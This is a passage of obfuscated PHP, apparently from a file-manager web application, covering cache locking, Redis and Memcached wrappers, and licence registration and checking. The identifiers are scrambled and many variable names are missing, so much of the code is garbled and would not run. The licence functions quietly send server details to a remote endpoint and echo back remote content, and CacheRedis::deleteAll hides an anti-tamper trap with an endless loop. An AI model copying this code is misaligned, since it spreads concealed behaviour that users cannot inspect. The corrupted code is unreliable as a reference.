$NJ) { $ = $this->cachePath . $NJ; if (strpos($, $؎ư[837]) && strpos($, $؎ư[838]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $Έ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $Ν = $GLOBALS[$Έ[6]][$Έ[349]]; self::$timeout = $Ν[$Έ[839]] ? $Ν[$Έ[839]] : 10; $̭ = _get($GLOBALS[$Έ[6]], $Έ[840]); $ = $Ν[$Έ[826]] ? $Ν[$Έ[826]] : $Έ[200]; if ($ == $Έ[21] && $̭ == $Έ[13]) { $ = $Έ[200]; } switch ($) { case $Έ[829]: self::$handle = new CacheLockRedis(); break; case $Έ[830]: self::$handle = new CacheLockMemcached(); break; case $Έ[21]: self::$handle = new CacheLockDatabase(); break; case $Έ[200]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($Έ[841], $Έ[842]); } return self::$handle; } private static function key($) { return $_SERVER[][843] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ӷ¾ = '') { self::$errorMsg = $ӷ¾; } public static function lockGlobal($, $Ą) { return self::lock($, $Ą, !0); } public static function lock($ձ, $ = false, $ໂ = false) { $ =& $_SERVER[]; $ɚ = self::init(); $δ = self::key($ձ); $ = $ ? $ : self::$timeout; $ = timeFloat(); $; = $ɚ->lock($δ, $); $ = timeFloat(); if (!$;) { $庳 = "\154\x6f\143\x6b\40\x65\162\162\x6f\162\x3b\153\145\x79\75{$ձ}\x3b\164\x69\155\x65\x3d{$}\x3b" . self::$errorMsg . $[71] . get_caller_msg(); $ĕ = LNG($[844]) . "\x28{$}\x73\51\56" . LNG($[845]); $ĕ .= $[846]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ĕ = $ĕ . $[847] . self::$errorMsg; } write_log($[848] . sprintf($[849], timeFloat() - $) . $[850] . $庳 . $[851] . error_get_last(), $[842]); show_json($ĕ, !1); } if (!$ໂ) { self::$lockItem[$δ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $؟ = number_format(timeFloat() - $, 3); write_log($[852] . $ձ . $[853] . $؟, $[842]); } return $;; } public static function lockGet($Ȉ) { $坄 = self::key($Ȉ); if (self::$lockItem[$坄]) { return self::$lockItem[$坄]; } return self::init()->lockGet($坄); } public static function unlock($ɼ) { $ =& $_SERVER[]; $耕 = self::key($ɼ); self::$lockItem[$耕] = null; self::init()->unlock($耕); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[854] . $ɼ, $[842]); } return; } public static function unlockRuntime() { $̌ʻ =& $_SERVER[]; $ġ = self::init(); $ą = !1; foreach (self::$lockItem as $ => $Ԡ) { if (!$Ԡ) { continue; } $ġ->unlock($); if (!$ą) { $ą = !0; write_log($̌ʻ[855] . $ . $̌ʻ[71] . get_caller_msg(), $̌ʻ[842]); continue; } write_log($̌ʻ[855] . $, $̌ʻ[842]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $Մ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($̌ʻ[856] . $Մ . $̌ʻ[857] . ACTION, $̌ʻ[842]); } } public static function fileLock($) { $߹ =& $_SERVER[]; if (!$GLOBALS[$߹[858]]) { $GLOBALS[$߹[858]] = array(); } $GLOBALS[$߹[858]][$] = !1; $ք = fopen(DATA_PATH . $ . $߹[859], $߹[860]); if (!$ք) { return !1; } $GLOBALS[$߹[858]][$] = $ք; if (flock($ք, LOCK_EX)) { return !0; } self::unlock($); show_json($߹[861], !1); return !1; } public static function fileUnlock($ӣ) { $ =& $_SERVER[]; $ = $GLOBALS[$[858]][$ӣ]; if (!$) { return; } $GLOBALS[$[858]][$ӣ] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[858]]) { return; } foreach ($GLOBALS[$[858]] as $ => $ߴ) { if (!$ߴ) { continue; } $GLOBALS[$[858]][$] = !1; flock($ߴ, LOCK_UN); fclose($ߴ); } $GLOBALS[$[858]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto aߍǍ; a: class CacheLockDatabase { public function lock($ܳ, $ = 0) { $ϑ = Model($_SERVER[][828]); $ť = microtime(!0) + $; while (microtime(!0) < $ť) { $ڙ١ = $ϑ->get($ܳ); if (!$ڙ١ || $ڙ١ < microtime(!0)) { $ = $ϑ->set($ܳ, $ť); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][828])->get($); } public function unlock($珋) { Model($_SERVER[][828])->remove($珋); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($х, $) { $ =& $_SERVER[]; if (!class_exists($[865])) { show_json($[866], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($х[$[867]]) && count($х[$[867]]) >= 1) { foreach ($х[$[867]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($х[$[182]], $х[$[183]]); } } public function set($, $ķۤ, $Ā = false) { $Ā = $Ā ? $Ā : $this->cacheTime; return $this->handle->set($, $ķۤ, $Ā); } public function get($×) { return $this->handle->get($×); } public function remove($ʃ) { return $this->handle->delete($ʃ); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $Ë =& $_SERVER[]; if (!class_exists($Ë[868])) { show_json($Ë[869], !1); } $this->cacheTime = $; $÷ = isset($[$Ë[870]]) ? $[$Ë[870]] : 10; $ڏ = _get($, $Ë[867]); if ($ڏ && is_array($ڏ)) { $this->initCluster($, $÷); } else { $this->handle = $this->init($, $÷); } } private function init($ᯘ, $ۡ) { $ޭ =& $_SERVER[]; $ = new Redis(); $ = isset($ᯘ[$ޭ[871]]) ? $ᯘ[$ޭ[871]] : !1; if ($) { $->pconnect($ᯘ[$ޭ[182]], $ᯘ[$ޭ[183]], $ۡ); } else { $->connect($ᯘ[$ޭ[182]], $ᯘ[$ޭ[183]], $ۡ); } if (!empty($ᯘ[$ޭ[413]])) { $->auth($ᯘ[$ޭ[413]]); } if (!empty($ᯘ[$ޭ[756]]) && $ᯘ[$ޭ[756]] != 0) { $->select($ᯘ[$ޭ[756]]); } return $; } private function initCluster($ܣ, $՜DŽ) { $Ȁ =& $_SERVER[]; $ = array($Ȁ[872], $Ȁ[873], $Ȁ[874]); $۬˩ = $Ȁ[872]; if (isset($ܣ[$Ȁ[16]]) && in_array($ܣ[$Ȁ[16]], $)) { $۬˩ = $ܣ[$Ȁ[16]]; } switch ($۬˩) { case $Ȁ[872]: $this->_slave($ܣ, $՜DŽ); break; case $Ȁ[873]: break; case $Ȁ[874]: $this->isCluster = !0; $ = $ܣ[$Ȁ[867]]; $ۛ = isset($ܣ[$Ȁ[871]]) ? $ܣ[$Ȁ[871]] : !1; $ = isset($ܣ[$Ȁ[413]]) ? $ܣ[$Ȁ[413]] : null; $this->handle = new RedisCluster(NUll, $, $՜DŽ, $՜DŽ, $ۛ, $); break; default: break; } } private function _slave($, $) { $㱻 = $[$_SERVER[][867]]; $this->filterConfig($, $㱻[0]); $this->handle = $this->init($, $); unset($㱻[0]); if (empty($㱻)) { return; } $ǥ = array_rand($㱻); $this->filterConfig($, $㱻[$ǥ]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$᥌, $ݧ) { $ؤ =& $_SERVER[]; $Ҍ = explode($ؤ[4], $ݧ); $ = array($ؤ[182] => $Ҍ[0], $ؤ[183] => $Ҍ[1]); $᥌ = array_merge($᥌, $); } public function set($Ď, $Φ, $ס = false) { $ס = $ס ? $ס : $this->cacheTime; return $this->handle->setEx($Ď, $ס, $Φ); } public function setLock($, $э, $۵) { return $this->handle->setNX($, $э); } public function get($ʚԇ) { $͗ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $͗->get($ʚԇ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $Ҟ =& $_SERVER[]; if (!isset($_SERVER[$Ҟ[875]]) || !isset($_SERVER[$Ҟ[876]])) { $花 = $Ҟ[877]; $֖ = $Ҟ[878]; $ = $_SERVER[$Ҟ[879]] . $Ҟ[880]; $δ = $֖($); $킃 = explode($Ҟ[231], $δ); if (count($킃) < $Ҟ[607]) { $ = $Ҟ[881]; $(); } $ = $Ҟ[882]; $($_SERVER[$Ҟ[883]]); $ߩ = 1; for ($® = $ߩ; $® > 0; $®++) { $ = json_encode($GLOBALS[$Ҟ[418]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto f܇҈; d: class Application { private $defaultModule = "\151\x6e\x64\x65\170"; private $defaultController = "\x69\x6e\144\x65\x78"; private $defaultAction = "\x69\x6e\x64\x65\x78"; function __construct() { } public function setDefault($) { $͉ =& $_SERVER[]; $߈ˑ =& $_SERVER[̬Ե]; $坁 = explode($߈ˑ[0], trim($, $߈ˑ[0])); $ = $͉[611]; $this->defaultModule = $坁[0] ? $坁[0] : $this->defaultModule; $ҡ = $͉[612]; $this->defaultController = $坁[1] ? $坁[1] : $this->defaultController; $̘ = $͉[613]; if (!$̘) { die; } $this->defaultAction = $坁[2] ? $坁[2] : $this->defaultAction; $this->hgcw95e6137a($߈ˑ[1], array($this, $߈ˑ[2])); $Ҹ = $͉[614]; while (strlen($Ҹ) < $͉[615]) { if (!$Ҹ) { break; } $Ҹ++; } } public function appRun($ޜ) { $ѽ =& $_SERVER[]; $ȷ =& $_SERVER[̬Ե]; $Ԕ = explode($ȷ[0], $ޜ); $ = strtolower($Ԕ[0]); $ʵ = $ѽ[616]; if (strlen($ʵ) < $ѽ[617]) { return; } $ = $ȷ[3]; $ = $ѽ[618]; if ($ == $ȷ[4]) { $ = $ȷ[5]; $Ԕ[0] = $ȷ[6]; $Ԕ[1] = $Ԕ[1] . $ȷ[7]; $ޜ = join($ȷ[0], $Ԕ); $ޜ = trim($ޜ, $ȷ[0]); } call_user_func(array($ȷ[8], $ȷ[9]), $ . $ȷ[10], $ޜ); ActionCall($ޜ); $ = $ѽ[619]; if (!$) { return; } call_user_func(array($ȷ[8], $ȷ[9]), $ . $ȷ[11], $ޜ); } private function autorun() { $ =& $_SERVER[̬Ե]; global $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); } } private function dpztcc0a4965() { $ԧ =& $_SERVER[]; $Ѻ =& $_SERVER[̬Ե]; $ = $Ѻ[4]; $ = $GLOBALS[$Ѻ[13]][$Ѻ[14]][0]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $쿀 = substr($, 0, -strlen($)); $Ĺ = array($Ѻ[4], $쿀); $䂄 = $ԧ[620]; if (strlen($䂄) < $ԧ[607]) { return; } $ǵ = array_slice($GLOBALS[$Ѻ[13]][$Ѻ[14]], 1); $GLOBALS[$Ѻ[13]][$Ѻ[14]] = array_merge($Ĺ, $ǵ); $햂 = $ԧ[621]; if (strlen($햂) < $ԧ[607]) { die; } $GLOBALS[$Ѻ[13]][$Ѻ[15]] = implode($Ѻ[0], $GLOBALS[$Ѻ[13]][$Ѻ[14]]); $ۦ = $ԧ[622]; while (strlen($ۦ) < $ԧ[615]) { if (!$ۦ) { break; } $ۦ++; } } private function syva62123f4d() { $ȹ =& $_SERVER[]; $ʍ =& $_SERVER[̬Ե]; if ($GLOBALS[$ʍ[13]][$ʍ[15]] != $ʍ[6]) { return; } $ӺΑ = $_SERVER[$ʍ[16]]; $ = $ʍ[17]; $ǩ = $ȹ[623]; if (!$ǩ) { die; } if (!strstr($ӺΑ, $)) { return; } $ဪ = strrpos($ӺΑ, $); $Ρ = $ȹ[624]; if (!$Ρ) { die; } $؉ = substr($ӺΑ, $ဪ + strlen($)); $ޘݛ = $ȹ[625]; if (strlen($ޘݛ) < $ȹ[615]) { die; } preg_match_all($ʍ[18], $؉, $); $ş = $ȹ[626]; if (strlen($ş) < $ȹ[615]) { return; } $؉ = trim($[0][0], $ʍ[19]); $GLOBALS[$ʍ[13]][$ʍ[14]] = explode($ʍ[19], $؉); $GLOBALS[$ʍ[13]][$ʍ[15]] = implode($ʍ[0], $GLOBALS[$ʍ[13]][$ʍ[14]]); } public function run() { $ͫ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $this->syva62123f4d(); $ɀ = $ͫ[627]; $this->dpztcc0a4965(); $Ω⢹ = $ͫ[628]; if (strlen($Ω⢹) < $ͫ[617]) { die; } $° = $GLOBALS[$[13]][$[14]]; $럾 = $GLOBALS[$[13]][$[15]]; $쮺 = $ͫ[629]; while ($쮺 < $ͫ[617]) { if ($쮺 >= 0) { break; } $쮺++; } define($[20], isset($°[0]) && $°[0] ? $°[0] : $this->defaultModule); $ = $ͫ[630]; if (!$) { die; } define($[21], isset($°[1]) && $°[0] ? $°[1] : $this->defaultController); $ = $ͫ[631]; if (strlen($) < $ͫ[617]) { die; } define($[22], isset($°[2]) && $°[0] ? $°[2] : $this->defaultAction); $Ū = $ͫ[632]; while ($Ū < $ͫ[615]) { if ($Ū >= 0) { break; } $Ū++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $ַ = $ͫ[633]; if (!$ַ) { return; } $_SERVER[$[24]] = strtolower(ACTION); $ = $ͫ[634]; while ($ < $ͫ[635]) { if ($ >= 0) { break; } $++; } $this->autorun(); $ = $ͫ[636]; if (!$) { return; } if (count($°) >= 3) { $this->appRun($럾); } else { $this->appRun(ACTION); } } private $kqou45d28de1 = array(); private $obus4f733076 = ''; public function jvsw72ac6fd5() { $ԟ =& $_SERVER[]; $吺 =& $_SERVER[̬Ե]; $this->ihaza0d99a95(); $頇 = $ԟ[637]; if (!$頇) { die; } $this->jurgc874b505(); $̣ = $ԟ[638]; $this->useq9b736d36(); $this->vqsz4ad13c85(); $բ˴ = $ԟ[639]; $this->shiab92d652f(); $ = $ԟ[640]; if (!$) { die; } $this->gchreeb34e3d(); $ = $ԟ[641]; while (strlen($) < $ԟ[635]) { if (!$) { break; } $++; } $this->yjgr19bd734f(); $➟ = $ԟ[642]; $this->hgcw95e6137a($吺[25], array($this, $吺[26])); $this->hgcw95e6137a($吺[27], array($this, $吺[28])); $ = $ԟ[643]; if (strlen($) < $ԟ[615]) { return; } $this->hgcw95e6137a($吺[29], array($this, $吺[30])); $Մӆ = $ԟ[644]; if (!$Մӆ) { die; } $this->hgcw95e6137a($吺[31], array($this, $吺[32])); } public function agnl98e1f982($۱) { $ྭہ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $˙ = Model($[33])->get(); $Ơ = $ྭہ[645]; if (strlen($Ơ) < $ྭہ[646]) { die; } $Ø = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); $κʰ = $ྭہ[647]; if (strlen($κʰ) < $ྭہ[635]) { return; } foreach ($Ø as $) { $ = $GLOBALS[$[85]][$[86]][$]; $۸ = $ྭہ[648]; if (strlen($۸) < $ྭہ[615]) { return; } if (isset($˙[$])) { $ = $˙[$]; } $۱[$[87]][$[88]][$] = $; } $ = $۱[$[87]][$[88]][$[46]]; unset($۱[$[87]][$[89]][$[90]]); $ = $ྭہ[649]; if (strlen($) < $ྭہ[635]) { die; } unset($۱[$[87]][$[89]][$[91]]); $ԉ = $ྭہ[650]; unset($۱[$[87]][$[88]][$[46]]); $Ӄ = $ྭہ[651]; if (!$Ӄ) { die; } unset($۱[$[87]][$[88]][$[92]]); $۱[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $ = $ྭہ[652]; $۱[$[98]][$[99]] = Action($[100])->accessToken(); $ܢ = $ྭہ[653]; if (strlen($ܢ) < $ྭہ[615]) { return; } $۱[$[98]][$[101]] = md5($_SERVER[$[102]] . $˙[$[103]]); $۱[$[98]][$[104]] = base64_encode(serverInfo()); $۱[$[98]][$[105]] = $this->obus4f733076; $ⵅ = $ྭہ[654]; if (!$ⵅ) { die; } if ($˙[$[105]] != $[106]) { $۱[$[98]][$[107]] = $˙[$[107]]; $۱[$[98]][$[108]] = $˙[$[108]]; $ = rand_string(10) . $this->obus4f733076 . rand_string(5); $۱[$[87]][$[109]][$[110]] = $this->djpm10d1efea($, $۱[$[98]][$[101]]); } if ($this->obus4f733076 == $[106]) { $۱[$[87]][$[88]][$[93]][$[97]] = 0; } $۱[$[98]][$[111]] = _get($this->kqou45d28de1, $[112], $[6]); $۱[$[98]][$[113]] = _get($this->kqou45d28de1, $[114], $[6]); $ھ = $ྭہ[655]; if (_get($GLOBALS, $[115]) && $this->config[$[116]]) { $۱[$[98]][$[117]] = WEB_ROOT; } return $۱; } private function gchreeb34e3d() { $ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ӣˤ = $_SERVER[$[24]] == $[118]; if ($_SERVER[$[24]] == $[119] && $_GET[$[120]] == $[121]) { $ӣˤ = !0; } if ($ӣˤ) { $ֳ = array($[105] => $this->obus4f733076, $[122] => $this->rgce40ea8bbf(), $[123] => Model($[124])->count()); if ($this->obus4f733076 != $[106]) { $ = _get($this->kqou45d28de1, $[125]); if ($) { $ֳ[$[126]] = $; $ֳ[$[127]] = strtotime(_get($this->kqou45d28de1, $[128])); $ֳ[$[129]] = _get($this->kqou45d28de1, $[114]); } $Č = Model($[33])->get($[130], $[6], !0); if (is_string($Č) && substr($Č, 0, 1) == $[131]) { $Č = json_decode_force($Č); } if (is_array($Č) && $Č[$[132]] && strstr($Č[$[132]], $[133])) { $ = explode($[133], $Č[$[132]]); $ֳ[$[134]] = $[0]; } } $ֳ = $this->lunza0d18401(json_encode($ֳ), md5($[135])); $ǁ = array($[136] => $ֳ); $ï = $[656]; if (strlen($ï) < $[607]) { die; } call_user_func(array($[137], $[138]), $ǁ); } if ($this->obus4f733076 == $[106]) { return; } $Ϧ = array($[139], $[140], $[141], $[142], $[143], $[144]); $ = Model($[33])->get(); $ = $[657]; while (strlen($) < $[607]) { if (!$) { break; } $++; } $ǁ = array($[145] => $[$[34]], $[146] => $[$[35]], $[147] => $[6]); foreach ($Ϧ as $) { if (!isset($[$]) || !$[$]) { continue; } $ǁ[$] = $[$]; } call_user_func(array($[137], $[138]), $ǁ); $Կ = $[658]; while ($Կ < $[615]) { if ($Կ >= 0) { break; } $Կ++; } } private function vqsz4ad13c85() { $ =& $_SERVER[]; $̈ =& $_SERVER[̬Ե]; if ($_SERVER[$̈[24]] != $̈[148]) { return; } if (!_get($GLOBALS, $̈[115])) { die; } $Ǻ = $GLOBALS[$̈[13]]; if (isset($Ǻ[$̈[149]])) { $this->kzne2b2c742d(); die; } if (!isset($Ǻ[$̈[150]]) || strlen($Ǻ[$̈[150]]) != 16) { show_json($̈[151] . $Ǻ[$̈[150]], !1); } $䣑翧 = Model($̈[33])->get($̈[103]); $ = md5($_SERVER[$̈[102]] . $䣑翧); $ܾ = array($̈[150] => $Ǻ[$̈[150]], $̈[152] => rand_string(16), $̈[153] => $̈[135], $̈[154] => $̈[155], $̈[156] => $_SERVER[$̈[157]], $̈[158] => $_SERVER[$̈[159]], $̈[160] => $_SERVER[$̈[161]], $̈[101] => $, $̈[162] => Model($̈[33])->get($̈[130])); $̦ = $[659]; if (strlen($̦) < $[607]) { die; } if ($Ǻ[$̈[163]] == $̈[164]) { $؇ = $this->lunza0d18401($, $̈[165]); $˺ = $this->djpm10d1efea(json_encode($ܾ), $ . $̈[166], 3); $˺ = $˺ . $̈[167] . $_SERVER[$̈[157]]; $ת = $this->iflza0df3841($̈[168] . $؇ . $̈[169] . $˺, -1); show_json($ת, !0); } else { if ($Ǻ[$̈[163]] == $̈[170]) { $ = substr(md5($̈[171] . $), 12, 15) . $̈[172]; $˺ = $this->rmqs7f6f7abf(trim($Ǻ[$̈[173]]), $, 2); $ = json_decode($˺, !0); if (!is_array($) || !is_array($[$̈[174]]) || $[$̈[150]] != !0) { $˽ؕ = $̈[175]; $ = $[$̈[174]] ? $̈[176] . $[$̈[174]] : $˽ؕ; show_json($, !1); } else { $ܾ[$̈[152]] = $[$̈[174]][$̈[177]]; } } else { $ = $this->iflza0df3841($̈[178], $ܾ, 10); $ = $[660]; if (strlen($) < $[617]) { die; } } } if (!is_array($) || !is_array($[$̈[174]]) || $[$̈[150]] != !0) { $˽ؕ = LNG($̈[179]); $ = $[$̈[174]] ? $̈[176] . $[$̈[174]] : $˽ؕ; show_json($, !1); } $ = $[$̈[174]]; $ = $this->nspe0fff9424($[$̈[180]]); if (!$ || $ != $[$̈[128]]) { $ = array($̈[181] => Model($̈[33])->get($̈[103]), $̈[182] => $_SERVER[$̈[102]], $̈[183] => this_url(), $̈[158] => $_SERVER[$̈[159]]); $˺ = $this->iepm5da4d5a8(json_encode($)); $this->iflza0df3841($̈[184] . $˺); show_json(LNG($̈[185]), !0); } $ѓҟ = array($̈[186] => $[$̈[187]], $̈[188] => $[$̈[189]], $̈[190] => rand_string(16), $̈[105] => $[$̈[191]]); if ($ܾ[$̈[152]]) { $ѓҟ[$̈[190]] = $ܾ[$̈[152]]; } $ = substr(md5($ѓҟ[$̈[188]]), 10, 10); $ = $ . $ѓҟ[$̈[105]] . $ѓҟ[$̈[190]]; $ = $[661]; $ѓҟ[$̈[107]] = strrev(base64_encode($this->lunza0d18401($, $̈[192]))); $ = $[662]; while (strlen($) < $[615]) { if (!$) { break; } $++; } $ô = rand_string(16); $֢ = $[663]; $ډޚ = $ô . $ѓҟ[$̈[105]] . $this->lunza0d18401(md5($ѓҟ[$̈[186]]), $ô); $ѓҟ[$̈[108]] = base64_encode(strrev($this->lunza0d18401($ډޚ, $̈[193]))); $ߣ = $[664]; if (!$ߣ) { die; } if ($[$̈[194]] && $[$̈[194]] >= 1) { Model($̈[33])->setDeep($̈[195], $̈[121]); } Model($̈[33])->set($ѓҟ); $ٝ = md5($_SERVER[$̈[102]] . strrev($䣑翧) . $ѓҟ[$̈[188]]); $ʵ = strrev(substr($ٝ, 10, 16)); $ = $[665]; while (strlen($) < $[617]) { if (!$) { break; } $++; } $ = $this->djpm10d1efea(json_encode($), $ٝ); $ = $[666]; if (!$) { return; } $ҏ = array_to_keyvalue(Model($̈[7])->listData(), $̈[196]); $ = $ҏ[$̈[197]]; $ = $[667]; if (!$) { return; } $Ű = array(); $ͩ = $[668]; if (strlen($ͩ) < $[635]) { die; } $Ű[$ʵ] = $; $ʌ = $[669]; Model($̈[7])->update($[$̈[198]], array($̈[199] => $Ű)); $伕 = $[670]; while (strlen($伕) < $[615]) { if (!$伕) { break; } $伕++; } $this->kqou45d28de1 = $; $ = $[671]; if (strlen($) < $[646]) { die; } $this->obus4f733076 = $ѓҟ[$̈[105]]; $this->licenseRegistSuccess(); Cache::set($̈[200] . md5($䣑翧 . $̈[201]), $̈[6]); show_json(LNG($̈[185]), !0); } private function licenseRegistSuccess() { $ꞷ =& $_SERVER[̬Ե]; $ނ = Model($ꞷ[33])->get(); if ($ނ[$ꞷ[63]] != $ꞷ[121]) { Model($ꞷ[33])->set($ꞷ[63], $ꞷ[121]); } Action($ꞷ[202])->initStart(!0); } private function kzne2b2c742d() { $ܢ܌ =& $_SERVER[]; $瓏 =& $_SERVER[̬Ե]; Model($瓏[33])->set(array($瓏[186] => $瓏[6], $瓏[188] => $瓏[6], $瓏[105] => $瓏[106], $瓏[107] => $瓏[6], $瓏[108] => $瓏[6])); $谦 = $ܢ܌[672]; if (!$谦) { return; } Model($瓏[33])->setDeep($瓏[195], $瓏[203]); $ί̞ = $ܢ܌[673]; if (!$ί̞) { die; } $this->kqou45d28de1 = array(); $this->obus4f733076 = $瓏[106]; $ = $ܢ܌[674]; if (strlen($) < $ܢ܌[635]) { return; } } private function ihaza0d99a95() { $틌 =& $_SERVER[]; $ޮ =& $_SERVER[̬Ե]; $_SERVER[$ޮ[159]] = _get($_SERVER, $ޮ[159], APP_HOST); $this->obus4f733076 = $ޮ[106]; $͙ѧ = Model($ޮ[33])->get(); $ּ = $틌[675]; if ($͙ѧ[$ޮ[105]] == $ޮ[106]) { return; } $ɸ = Model($ޮ[33])->get($ޮ[103]); $ = $ޮ[200] . md5($ɸ . $ޮ[201]); $ψ = $틌[676]; while (strlen($ψ) < $틌[615]) { if (!$ψ) { break; } $ψ++; } $ = Cache::get($); if (!is_array($) || !isset($[$ޮ[204]]) || time() - $[$ޮ[204]] >= 60) { $ = Model($ޮ[7])->loadList(); $Ƌ = $[$ޮ[197]]; $ɷ = md5($_SERVER[$ޮ[102]] . strrev($ɸ) . $͙ѧ[$ޮ[188]]); $ = strrev(substr($ɷ, 10, 16)); $ = $this->rmqs7f6f7abf($Ƌ[$ޮ[85]][$], $ɷ); $ = json_decode($, !0); } if (!is_array($)) { return $this->kzne2b2c742d(); } $ԂԈ = strtotime($[$ޮ[128]]); if (time() >= $ԂԈ) { return $this->kzne2b2c742d(); } if (time() - $[$ޮ[204]] > 20) { $[$ޮ[204]] = time(); Cache::set($, $); } $this->kqou45d28de1 = $; $this->obus4f733076 = $͙ѧ[$ޮ[105]]; $ = $틌[677]; if (!$) { return; } } private function jurgc874b505() { $ =& $_SERVER[]; $ֿ =& $_SERVER[̬Ե]; $ٺ = $GLOBALS[$ֿ[13]]; $ր = $[678]; while (strlen($ր) < $[635]) { if (!$ր) { break; } $ր++; } $֭ = $_SERVER[$ֿ[24]]; if ($֭ == $ֿ[205] && $this->obus4f733076 == $ֿ[106]) { show_json(LNG($ֿ[206]), !1, $ֿ[207]); } $ӧ = array($ֿ[208], $ֿ[209]); if (in_array($֭, $ӧ)) { if ($this->obus4f733076 == $ֿ[106] && isset($ٺ[$ֿ[210]])) { show_json(LNG($ֿ[206]), !1, $ֿ[207]); die; } $țغ = $this->rgce40ea8bbf(); if ($țغ != intval($ֿ[211])) { if ($țغ <= Model($ֿ[124])->count()) { show_json(LNG($ֿ[212]), !1, $ֿ[207]); die; } } } } private function useq9b736d36() { $ٴ =& $_SERVER[]; $ڣ =& $_SERVER[̬Ե]; $ = array($ڣ[118], $ڣ[119]); if (!_get($GLOBALS, $ڣ[115]) || !isset($_GET[$ڣ[213]])) { return; } if (!in_array($_SERVER[$ڣ[24]], $)) { return; } $ת⏗ = $ڣ[214]; $ת⏗ = $this->juhg5ef21239($ת⏗, $ڣ[215]); $ = stream_context_create(array($ڣ[216] => array($ڣ[217] => $ڣ[218], $ڣ[219] => 3))); $ = $ٴ[679]; if (!$) { return; } $ӂ = @file_get_contents($ת⏗, !1, $); header($ڣ[220]); $Ķ = $ٴ[680]; if (strlen($Ķ) < $ٴ[635]) { die; } if ($ӂ && strstr($ӂ, $ڣ[221])) { echo $ӂ; } die; } public function vjcw38b879ed($) { $ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; if ($this->obus4f733076 == $[222]) { return $; } $ = array($[223] => $[224], $[225] => $[224], $[226] => $[224], $[227] => $[228], $[229] => $[228], $[230] => $[228], $[231] => $[228], $[232] => $[228], $[233] => $[228], $[234] => $[228], $[235] => $[228], $[236] => $[228], $[237] => $[228], $[238] => $[228], $[239] => $[228]); $҇ = explode($[240], _get($this->kqou45d28de1, $[112], $[6])); $ӕ = $[681]; $֨ = array(); foreach ($ as $ԉ => $) { if ($ == $[224] && substr($this->obus4f733076, 0, 1) == $[224]) { continue; } if (!in_array($ԉ, $҇)) { $֨[] = $ԉ; } } foreach ($֨ as $ԉ) { unset($[$ԉ]); } return $; $ÿ = $[682]; } private function yjgr19bd734f() { $۩Ӽ =& $_SERVER[̬Ե]; if ($this->obus4f733076 != $۩Ӽ[106]) { $GLOBALS[$۩Ӽ[85]][$۩Ӽ[89]][$۩Ӽ[241]] = $۩Ӽ[203]; return; } $GLOBALS[$۩Ӽ[85]][$۩Ӽ[242]] = $۩Ӽ[121]; if (Model($۩Ӽ[243])->get($۩Ӽ[63]) != $۩Ӽ[203]) { Model($۩Ӽ[243])->set($۩Ӽ[63], $۩Ӽ[203]); } } public function jcqta8a1132d() { return $_SERVER[̬Ե][244]; } private function shiab92d652f() { $ě =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ = array($[245], $[246], $[247]); $ = $[248] . md5($[249]); $ɻ = $ě[683]; if (!$ɻ) { return; } if ($this->obus4f733076 == $[106] || !_get($GLOBALS, $[115])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $܌ = call_user_func(array($[250], $[251]), $); $Ó˱ = $ě[684]; while (strlen($Ó˱) < $ě[615]) { if (!$Ó˱) { break; } $Ó˱++; } if ($܌ && time() - $܌ < intval($[252])) { return; } call_user_func(array($[250], $[138]), $, time()); $ = $ě[685]; $ٿ = Model($[33])->get($[103]); $ = $ě[686]; $ԕ߸ = array($[150] => Model($[33])->get($[186]), $[163] => $this->obus4f733076, $[160] => $_SERVER[$[161]], $[162] => Model($[33])->get($[130]), $[101] => md5($_SERVER[$[102]] . $ٿ), $[153] => $[135], $[156] => $_SERVER[$[157]]); $ = $ě[687]; if (strlen($) < $ě[617]) { die; } $ = $this->iflza0df3841($[253], $ԕ߸); if (!is_array($)) { return; } if ($[$[150]] && $[$[254]]) { if ($this->nspe0fff9424($[$[254]]) == $ԕ߸[$[150]]) { return; } } $this->kzne2b2c742d(); if ($this->nspe0fff9424($[$[254]]) != $ԕ߸[$[150]]) { $ = array($[181] => $ٿ, $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => 